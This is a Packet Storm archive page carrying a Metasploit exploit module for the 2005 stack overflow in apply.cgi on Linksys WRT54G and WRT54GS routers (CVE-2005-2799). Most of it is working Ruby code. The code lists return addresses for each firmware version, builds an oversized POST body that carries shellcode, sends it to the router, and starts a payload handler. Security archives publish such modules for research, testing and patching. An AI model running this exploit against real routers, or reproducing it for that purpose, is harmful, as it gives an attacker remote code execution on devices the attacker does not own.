what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys apply.cgi Buffer Overflow

Linksys apply.cgi Buffer Overflow
Posted Oct 27, 2009
Authored by Raphael Rigo, Julien Tinnes

This Metasploit module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.

tags | exploit, overflow, cgi
advisories | CVE-2005-2799
SHA-256 | 05f730badb59943ab48414e62810156de18000b427d38198a0facb7c98a34364

Linksys apply.cgi Buffer Overflow

Change Mirror Download
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys apply.cgi buffer overflow',
'Description' => %q{
This module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
According to iDefense who discovered this vulnerability, all WRT54G versions prior to
4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
},
'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-2799'],
[ 'OSVDB', '19389' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
],
'Payload' =>
{
#'BadChars' => "\x00",
'Space' => 10000,
'DisableNops' => true,
},
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'Targets' =>
[
# the middle of the intersection is our generic address
#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
[ 'Generic', { 'Bufaddr' => 0x10002b50}],
[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
],
'DisclosureDate' => 'Sep 13 2005',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
Opt::RHOST('192.168.1.1')
], self.class)
end


# Approx size of the remaining space in the data segment after our buffer
DataSegSize=0x4000
def exploit
c = connect

print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
print_status("Shellcode length: #{payload.encoded.length}")

addr = [target['Bufaddr']].pack('V')

# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
# Pointers in 2.02.6beta1


# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
# | <- 10000 -> | **************************** Pad with return address ***********************
# I know this is horrible :( - On the other side this is very generic :)
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)

#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"

# res = send_request_cgi({ 'uri' => "/apply.cgi",
# 'method' => 'POST',
# 'data' => post_data });
# print_status("Malicious request sent, do_ej should be overwritten")

req = c.request_cgi({ 'uri' => "/apply.cgi",
'method' => 'POST',
'data' => post_data })
c.send_request(req)
print_status("Mayhem sent")


# req=c.request_cgi('uri' => '/');
# c.send_request(req);
# print_status("do_ej triggered")

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close